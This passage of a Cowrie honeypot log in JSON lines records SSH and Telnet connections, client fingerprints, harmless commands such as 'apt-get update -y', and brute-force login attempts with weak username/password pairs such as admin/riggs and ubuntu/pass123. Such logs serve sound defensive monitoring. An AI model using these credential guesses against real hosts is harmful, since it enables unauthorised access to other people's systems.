h-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.497497Z","src_ip":"187.230.120.231","session":"7163855b0c96","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.598394Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345678","message":"login attempt [tester/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:33.873345Z","src_ip":"187.230.120.231","session":"7163855b0c96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:34.842815Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:34.971654Z","src_ip":"187.230.120.231","session":"7163855b0c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.598372220993042,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:36.523928Z","src_ip":"147.182.143.59","session":"f3191fe8406f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60306,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c549cfc4bf7","protocol":"telnet","message":"New connection: 147.182.143.59:60306 (159.203.135.109:23) [session: 7c549cfc4bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:41.256267Z"}
{"eventid":"cowrie.session.closed","duration":46.1133508682251,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:42.582657Z","src_ip":"45.58.127.90","session":"dd1f336e4a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.8796911239624,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:47.227861Z","src_ip":"45.58.127.90","session":"f1aa6d7e6037","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:48.912703Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.703831434249878,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:48.959980Z","src_ip":"147.182.143.59","session":"7c549cfc4bf7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:49.927781Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:49.931396Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:50.852688Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:51.868017Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:51.871681Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.623873233795166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:54.068225Z","src_ip":"45.58.127.90","session":"506b4449d869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"152e5b4caf0f","protocol":"telnet","message":"New connection: 45.58.127.90:52542 (10.17.0.5:23) [session: 152e5b4caf0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:56.087496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52534,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c19edad081","protocol":"telnet","message":"New connection: 45.58.127.90:52534 (10.17.0.5:23) [session: 30c19edad081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:57.178497Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"740bcff286c8","protocol":"telnet","message":"New connection: 147.182.143.59:59042 (159.203.135.109:23) [session: 740bcff286c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:27:59.332404Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a","size":716,"shasum":"43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a","duplicate":false,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:05.959209Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:06.162321Z","src_ip":"185.71.233.73","session":"2b2a803b643f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a","size":716,"shasum":"43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/43e06eb88e5bd79aec62f8f11274dd0e076498be7c21f10ed06f63f2f3f4732a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:07.895853Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:08.131444Z","src_ip":"185.71.233.73","session":"2071662e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":27167,"dst_ip":"10.17.0.5","dst_port":22,"session":"342a631ba993","protocol":"ssh","message":"New connection: 154.117.199.5:27167 (10.17.0.5:22) [session: 342a631ba993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:10.301600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:10.533889Z","src_ip":"154.117.199.5","session":"342a631ba993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:10.765023Z","src_ip":"154.117.199.5","session":"342a631ba993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53590,"dst_ip":"10.17.0.5","dst_port":23,"session":"26aeed6e92b7","protocol":"telnet","message":"New connection: 45.58.127.90:53590 (10.17.0.5:23) [session: 26aeed6e92b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:14.022272Z"}
{"eventid":"cowrie.session.closed","duration":16.367109775543213,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:15.699411Z","src_ip":"147.182.143.59","session":"740bcff286c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":41786,"dst_ip":"10.17.0.5","dst_port":22,"session":"01664f33068f","protocol":"ssh","message":"New connection: 187.230.120.231:41786 (10.17.0.5:22) [session: 01664f33068f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:30.987393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:30.990620Z","src_ip":"187.230.120.231","session":"01664f33068f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:31.102721Z","src_ip":"187.230.120.231","session":"01664f33068f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drivetest","password":"drivetest","message":"login attempt [drivetest/drivetest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:31.570021Z","src_ip":"187.230.120.231","session":"01664f33068f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:32.681329Z","src_ip":"187.230.120.231","session":"01664f33068f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.1165566444397,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:35.203883Z","src_ip":"45.58.127.90","session":"152e5b4caf0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.61381554603577,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:40.792215Z","src_ip":"45.58.127.90","session":"30c19edad081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.08758234977722,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:54.109763Z","src_ip":"45.58.127.90","session":"26aeed6e92b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f609f58521","protocol":"telnet","message":"New connection: 45.58.127.90:36962 (10.17.0.5:23) [session: a0f609f58521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:28:55.446729Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47292,"dst_ip":"159.203.135.109","dst_port":23,"session":"688c38428b2f","protocol":"telnet","message":"New connection: 147.182.143.59:47292 (159.203.135.109:23) [session: 688c38428b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:01.546930Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47302,"dst_ip":"159.203.135.109","dst_port":23,"session":"35412e5acac0","protocol":"telnet","message":"New connection: 147.182.143.59:47302 (159.203.135.109:23) [session: 35412e5acac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:04.405753Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46358,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ab7fbfb028","protocol":"telnet","message":"New connection: 45.58.127.90:46358 (10.17.0.5:23) [session: a4ab7fbfb028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:04.699945Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47314,"dst_ip":"159.203.135.109","dst_port":23,"session":"f564f311ab74","protocol":"telnet","message":"New connection: 147.182.143.59:47314 (159.203.135.109:23) [session: f564f311ab74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:07.986040Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46360,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce640279147","protocol":"telnet","message":"New connection: 45.58.127.90:46360 (10.17.0.5:23) [session: 6ce640279147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:10.422524Z"}
{"eventid":"cowrie.session.closed","duration":11.474209785461426,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:13.021033Z","src_ip":"147.182.143.59","session":"688c38428b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35222,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec97b4e1d5f","protocol":"telnet","message":"New connection: 45.58.127.90:35222 (10.17.0.5:23) [session: 1ec97b4e1d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:21.427604Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35212,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e076aca7c5","protocol":"telnet","message":"New connection: 45.58.127.90:35212 (10.17.0.5:23) [session: 75e076aca7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:22.390823Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17365,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd195786c0d8","protocol":"ssh","message":"New connection: 2.57.121.112:17365 (159.203.135.109:22) [session: dd195786c0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:25.369093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:25.373629Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:25.483582Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"riggs","message":"login attempt [admin/riggs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:25.980730Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rhjirf","message":"login attempt [admin/rhjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:27.090033Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ede7f23aa44","protocol":"telnet","message":"New connection: 45.58.127.90:35226 (10.17.0.5:23) [session: 5ede7f23aa44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:28.150570Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rfpfym","message":"login attempt [admin/rfpfym] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:28.200030Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":40144,"dst_ip":"10.17.0.5","dst_port":22,"session":"384d522c401c","protocol":"ssh","message":"New connection: 187.230.120.231:40144 (10.17.0.5:22) [session: 384d522c401c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:29.040420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:29.045110Z","src_ip":"187.230.120.231","session":"384d522c401c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:29.142973Z","src_ip":"187.230.120.231","session":"384d522c401c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"retro","message":"login attempt [admin/retro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:29.309802Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass123","message":"login attempt [ubuntu/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:29.559959Z","src_ip":"187.230.120.231","session":"384d522c401c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"required","message":"login attempt [admin/required] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:30.420683Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:30.661532Z","src_ip":"187.230.120.231","session":"384d522c401c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:31.533570Z","src_ip":"2.57.121.112","session":"dd195786c0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54754,"dst_ip":"10.17.0.5","dst_port":23,"session":"10eb2c064648","protocol":"telnet","message":"New connection: 45.58.127.90:54754 (10.17.0.5:23) [session: 10eb2c064648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:31.576437Z"}
{"eventid":"cowrie.session.closed","duration":37.52905821800232,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:32.975682Z","src_ip":"45.58.127.90","session":"a0f609f58521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97622323036194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:46.398665Z","src_ip":"45.58.127.90","session":"6ce640279147","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.64614248275757,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:47.345968Z","src_ip":"45.58.127.90","session":"a4ab7fbfb028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d902ff6e3efe","protocol":"telnet","message":"New connection: 147.182.143.59:37386 (159.203.135.109:23) [session: d902ff6e3efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:53.468587Z"}
